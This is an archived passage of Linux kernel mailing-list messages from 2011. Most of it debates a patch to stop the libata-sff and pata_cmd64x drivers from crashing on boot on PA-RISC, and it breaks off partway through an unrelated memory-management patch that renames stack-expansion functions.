> 
> Yes - it makes some machines work rather better because the BIOSes
> sometimes mess up the registers. It wad a *deliberate* decision not to
> port it over and as a result stuff works that failed before. Windows
> drivers clearly ignore the bits in many cases.

Well your deliberate decision is crashing my box on boot.  That makes
this a regression from the IDE cmd64x driver. I hear indirectly there's
a similar problem on sparc.

> In addition
> - Your patch seems to be applying the enable bits apply in native mode
>   (they don't generally)
> - You seem to be assuming either first or both ports enabled, secondly
>   only is just as valid

Yes, I know ... but that config is broken today and a fix, given the
hardcoded assumptions in libata-sff, would be more invasive (and not
really of interest to the crash problem).

> This matters for CMD64x as several 64x devices are found on hotpluggable
> 'docking stations' using a PCI split bridge. Only doing the checks for
> chips in legacy mode should avoid that problem. In native mode the PCI
> bars are the only register bases used so the problem doesn't arise.

No, that analysis is wrong: Parisc (and actually presumably every
non-x86) doesn't use legacy mode.  The bars are all wired up (I posted
the original lspci output showing this).  The problem is that when you
try to prod the registers behind the secondary bar we get an instant
crash because the memory doesn't respond ... I'm assuming the secondary
bar isn't actually wired up to the chip.

> The patch seems to be broken for all these cases and also incredibly
> invasive given you can just pass a dummy port in as one of
> your struct ata_port_info * pointers to ata_pci_dma_init_one()

You mean in ata_pci_bmdma_init_one()?  yes, that might work ... I still
need to know how to detect this.

> You shouldn't need to touch a single line of the core libata code,
> although it might be the best way of doing it. Either way if you do the
> number of ports needs to be a bitmask instead and you need to leave
> native mode alone.

The core libata code looked broken in the assumption that it had to poke
a double register pair for sff mode (the hard coded loop over two
ports) ... this is what won't work on non-x86 boxes.  

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Mon, 18 Apr 2011 13:14:51 -0700 (PDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20110418.131451.116389641.davem@davemloft.net>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303157287.7167.26.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303157743 12697 80.91.229.12 (18 Apr 2011 20:15:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 20:15:43 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, linux-ide@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 22:15:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBurB-0007xN-UM
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 22:15:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751875Ab1DRUPf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 16:15:35 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:57795
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751850Ab1DRUP0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 16:15:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 3130F24C089;
	Mon, 18 Apr 2011 13:14:52 -0700 (PDT)
In-Reply-To: <1303157287.7167.26.camel@mulgrave.site>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3558 gmane.linux.ide:49324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3558>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 18 Apr 2011 15:08:07 -0500

> On Mon, 2011-04-18 at 20:52 +0100, Alan Cox wrote:
>> On Mon, 18 Apr 2011 13:42:27 -0500
>> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
>> 
>> > currently libata-sff is completely ignoring the enabled/disabled status
>> > of the interfaces. 
>> 
>> Yes - it makes some machines work rather better because the BIOSes
>> sometimes mess up the registers. It wad a *deliberate* decision not to
>> port it over and as a result stuff works that failed before. Windows
>> drivers clearly ignore the bits in many cases.
> 
> Well your deliberate decision is crashing my box on boot.  That makes
> this a regression from the IDE cmd64x driver. I hear indirectly there's
> a similar problem on sparc.

Yep, similar problems exist on sparc64, bus errors.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Mon, 18 Apr 2011 15:50:02 -0500
Lines: 94
Approved: news@gmane.org
Message-ID: <1303159802.7167.30.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303159814 24954 80.91.229.12 (18 Apr 2011 20:50:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 20:50:14 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-ide-owner@vger.kernel.org Mon Apr 18 22:50:09 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QBvOZ-0001Y4-UE
	for lnx-linux-ide@lo.gmane.org; Mon, 18 Apr 2011 22:50:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751579Ab1DRUuG (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Mon, 18 Apr 2011 16:50:06 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51059 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751290Ab1DRUuF (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Mon, 18 Apr 2011 16:50:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D86488EE0A4;
	Mon, 18 Apr 2011 13:50:04 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QoLJZ56OBDKD; Mon, 18 Apr 2011 13:50:04 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0E77E8EE01D;
	Mon, 18 Apr 2011 13:50:03 -0700 (PDT)
In-Reply-To: <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49325 gmane.linux.ports.parisc:3559
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49325>

On Mon, 2011-04-18 at 20:52 +0100, Alan Cox wrote:
> You shouldn't need to touch a single line of the core libata code,
> although it might be the best way of doing it.

So how about this, using the dummy port info mechanism.  I get a
spurious ata2: DUMMY message, but I suppose libata people are used to
that.  I still have to fix libata to prevent spurious irq information,
but that's cosmetic.

James

---

diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
index f8380ce..b1b926c 100644
--- a/drivers/ata/libata-sff.c
+++ b/drivers/ata/libata-sff.c
@@ -2447,13 +2447,18 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 		return -ENOMEM;
 
 	if (!legacy_mode && pdev->irq) {
+		int i;
+
 		rc = devm_request_irq(dev, pdev->irq, irq_handler,
 				      IRQF_SHARED, drv_name, host);
 		if (rc)
 			goto out;
 
-		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
-		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
+		for (i = 0; i < 2; i++) {
+			if (ata_port_is_dummy(host->ports[i]))
+				continue;
+			ata_port_desc(host->ports[i], "irq %d", pdev->irq);
+		}
 	} else if (legacy_mode) {
 		if (!ata_port_is_dummy(host->ports[0])) {
 			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),
diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
index 905ff76..10dabe9 100644
--- a/drivers/ata/pata_cmd64x.c
+++ b/drivers/ata/pata_cmd64x.c
@@ -41,6 +41,9 @@
 enum {
 	CFR 		= 0x50,
 		CFR_INTR_CH0  = 0x04,
+	ENPORT		= 0x51,
+		ENPORT_PRIMARY   = 0x04,
+		ENPORT_SECONDARY = 0x08,
 	CMDTIM 		= 0x52,
 	ARTTIM0 	= 0x53,
 	DRWTIM0 	= 0x54,
@@ -328,8 +331,12 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 			.port_ops = &cmd648_port_ops
 		}
 	};
-	const struct ata_port_info *ppi[] = { &cmd_info[id->driver_data], NULL };
-	u8 mrdmode;
+	const struct ata_port_info *ppi[] = { 
+		&cmd_info[id->driver_data],
+		&cmd_info[id->driver_data],
+		NULL
+	};
+	u8 mrdmode, reg;
 	int rc;
 
 	rc = pcim_enable_device(pdev);
@@ -354,6 +361,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	mrdmode |= 0x02;	/* Memory read line enable */
 	pci_write_config_byte(pdev, MRDMODE, mrdmode);
 
+	/* check for enabled ports */
+	pci_read_config_byte(pdev, ENPORT, &reg);
+	/* the cm643 primary port is always enabled */
+	if (id->driver_data != 0 && !(reg & ENPORT_PRIMARY)) {
+		dev_printk(KERN_ERR, &pdev->dev, "Primary port is disabled; detaching\n");
+		ppi[0] = &ata_dummy_port_info;
+		
+	}
+	if (!(reg & ENPORT_SECONDARY)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
+		ppi[1] = &ata_dummy_port_info;
+	}
+
 	/* Force PIO 0 here.. */
 
 	/* PPC specific fixup copied from old driver */


--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Mon, 18 Apr 2011 22:09:45 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20110418220945.4713e15d@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303157287.7167.26.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303160936 31538 80.91.229.12 (18 Apr 2011 21:08:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 21:08:56 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 23:08:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBvgh-0005rO-53
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 23:08:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751919Ab1DRVIu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 17:08:50 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:40585 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751822Ab1DRVIt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 17:08:49 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3IL9jdx030241;
	Mon, 18 Apr 2011 22:09:46 +0100
In-Reply-To: <1303157287.7167.26.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3560 gmane.linux.ide:49326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3560>

> Well your deliberate decision is crashing my box on boot.  That makes
> this a regression from the IDE cmd64x driver. I hear indirectly there's
> a similar problem on sparc.

Sure - I'm not saying there isn't a problem just cautioning that there is
more to fixing it than blindly adding checks. If you simply check the
fields you break the split bridge boxes on x86. They aren't very common
these days but they probably outnumber PA-RISC Linux users 8)

> No, that analysis is wrong: Parisc (and actually presumably every
> non-x86) doesn't use legacy mode.  The bars are all wired up (I posted
> the original lspci output showing this).  The problem is that when you
> try to prod the registers behind the secondary bar we get an instant
> crash because the memory doesn't respond ... I'm assuming the secondary
> bar isn't actually wired up to the chip.

Then your PCI configuration is faulty - no ?

I'd have thought the best way to fix that would be a PCI quirk for the
platform. However if it's multiple non x86 platforms being hit then the
driver probably needs the smarts to cope with this weird wiring.

> > The patch seems to be broken for all these cases and also incredibly
> > invasive given you can just pass a dummy port in as one of
> > your struct ata_port_info * pointers to ata_pci_dma_init_one()
> 
> You mean in ata_pci_bmdma_init_one()?  yes, that might work ... I still
> need to know how to detect this.
> 
> > You shouldn't need to touch a single line of the core libata code,
> > although it might be the best way of doing it. Either way if you do the
> > number of ports needs to be a bitmask instead and you need to leave
> > native mode alone.
> 
> The core libata code looked broken in the assumption that it had to poke
> a double register pair for sff mode (the hard coded loop over two
> ports) ... this is what won't work on non-x86 boxes.  

Worked implementation example: drivers/ata/pata_via.c - see the use of
VIA_IDFLAG_SINGLE

I think that will do what you need ?

Alan

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Mon, 18 Apr 2011 22:20:17 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303161570 2823 80.91.229.12 (18 Apr 2011 21:19:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 21:19:30 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-ide-owner@vger.kernel.org Mon Apr 18 23:19:25 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QBvqt-0003bU-0Y
	for lnx-linux-ide@lo.gmane.org; Mon, 18 Apr 2011 23:19:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752555Ab1DRVTV (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Mon, 18 Apr 2011 17:19:21 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:33142 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752496Ab1DRVTV (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Mon, 18 Apr 2011 17:19:21 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3ILKI1c030423;
	Mon, 18 Apr 2011 22:20:18 +0100
In-Reply-To: <1303159802.7167.30.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49327 gmane.linux.ports.parisc:3561
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49327>

>	ata_port_desc(host->ports[i], "irq %d", pdev->irq);
> +		}
>  	} else if (legacy_mode) {
>  		if (!ata_port_is_dummy(host->ports[0])) {
>  			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),

This bit looks fine - in fact it's a nice clean up anyway

> +	}
> +	if (!(reg & ENPORT_SECONDARY)) {
> +		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
> +		ppi[1] = &ata_dummy_port_info;
> +	}

And you just broke split bridge setups. Also need to check if the bits
are valid for this chipset in native mode officialy - Sergei probably
knows the answer to that.

We can detect the Mobility electronics split bridges at least (and I
suspect they are the only 'common' CMD64x hot plug device indeed possibly
the only one) because the parent bridge of the CMD64x will have a PCI
vendor id of 0x14f2 and a device id 0x0001, 0x0002, or 0x0120.


Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Tue, 19 Apr 2011 13:10:04 +0200
Lines: 191
Approved: news@gmane.org
Message-ID: <20110419111004.GE21689@tiehlicka.suse.cz>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
 <20110418100131.GD8925@tiehlicka.suse.cz>
 <20110418135637.5baac204.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303211418 15263 80.91.229.12 (19 Apr 2011 11:10:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 11:10:18 +0000 (UTC)
Cc: Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 13:10:14 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QC8ov-00039F-ED
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 13:10:13 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 20ED48D0040; Tue, 19 Apr 2011 07:10:12 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0A1888D003B; Tue, 19 Apr 2011 07:10:11 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B633F8D0040; Tue, 19 Apr 2011 07:10:11 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail143.messagelabs.com (mail143.messagelabs.com [216.82.254.35])
	by kanga.kvack.org (Postfix) with ESMTP id 110CD8D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 07:10:10 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: mhocko@suse.cz
X-Msg-Ref: server-2.tower-143.messagelabs.com!1303211408!118345226!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [195.135.220.2]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG
Original-Received: (qmail 7354 invoked from network); 19 Apr 2011 11:10:10 -0000
Original-Received: from cantor.suse.de (HELO mx1.suse.de) (195.135.220.2)
  by server-2.tower-143.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 19 Apr 2011 11:10:10 -0000
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 05AD08FEA2;
	Tue, 19 Apr 2011 13:10:05 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20110418135637.5baac204.akpm@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61570 gmane.linux.kernel:1128380 gmane.linux.ports.parisc:3562
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61570>

On Mon 18-04-11 13:56:37, Andrew Morton wrote:
> On Mon, 18 Apr 2011 12:01:31 +0200
> Michal Hocko <mhocko@suse.cz> wrote:
> 
> > Currently we have expand_upwards exported while expand_downwards is
> > accessible only via expand_stack or expand_stack_downwards.
> > 
> > check_stack_guard_page is a nice example of the asymmetry. It uses
> > expand_stack for VM_GROWSDOWN while expand_upwards is called for
> > VM_GROWSUP case.
> > 
> > Let's clean this up by exporting both functions and make those name
> > consistent. Let's use expand_stack_{upwards,downwards} so that we are
> > explicit about stack manipulation in the name. expand_stack_downwards
> > has to be defined for both CONFIG_STACK_GROWS{UP,DOWN} because
> > get_arg_page calls the downwards version in the early process
> > initialization phase for growsup configuration.
> 
> Has this patch been tested on any stack-grows-upwards architecture?

The only one I can find in the tree is parisc and I do not have access
to any such machine. Maybe someone on the list (CCed) can help with
testing the patch bellow? Nevertheless, the patch doesn't change growsup
case. It just renames functions and exports growsdown.

IA64 which grows upwards only for registers still needs a fix because of
the rename, though. I'm sorry, I must have missed it in the grep output
before. No other arch specific code uses expand_{down,up}wards directly.

Changes since v2
 - fix compilation error on ia64
Changes since v1
 - fixed expand_downwards case for CONFIG_STACK_GROWSUP in get_arg_page.
 - rename expand_{downwards,upwards} -> expand_stack_{downwards,upwards}
--- 
>From 091cf27fe9fad875bc7f6cdbb8206c617b06fc7b Mon Sep 17 00:00:00 2001
From: Michal Hocko <mhocko@suse.cz>
Date: Fri, 15 Apr 2011 14:56:26 +0200
Subject: [PATCH] mm: make expand_downwards symmetrical to expand_upwards

Currently we have expand_upwards exported while expand_downwards is
accessible only via expand_stack or expand_stack_downwards.

check_stack_guard_page is a nice example of the asymmetry. It uses
expand_stack for VM_GROWSDOWN while expand_upwards is called for
VM_GROWSUP case.

Let's clean this up by exporting both functions and make those name
consistent. Let's use expand_stack_{upwards,downwards} so that we are
explicit about stack manipulation in the name. expand_stack_downwards
has to be defined for both CONFIG_STACK_GROWS{UP,DOWN} because
get_arg_page calls the downwards version in the early process
initialization phase for growsup configuration.

Signed-off-by: Michal Hocko <mhocko@suse.cz>
---
 arch/ia64/mm/fault.c |    2 +-
 include/linux/mm.h   |   13 ++++++++-----
 mm/memory.c          |    4 ++--
 mm/mmap.c            |   13 ++++---------
 4 files changed, 15 insertions(+), 17 deletions(-)

diff --git a/arch/ia64/mm/fault.c b/arch/ia64/mm/fault.c
index 0799fea..aebff8a 100644
--- a/arch/ia64/mm/fault.c
+++ b/arch/ia64/mm/fault.c
@@ -197,7 +197,7 @@ ia64_do_page_fault (unsigned long address, unsigned long isr, struct pt_regs *re
 		 */
 		if (address > vma->vm_end + PAGE_SIZE - sizeof(long))
 			goto bad_area;
-		if (expand_upwards(vma, address))
+		if (expand_stack_upwards(vma, address))
 			goto bad_area;
 	}
 	goto good_area;
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 692dbae..17f9b86 100644
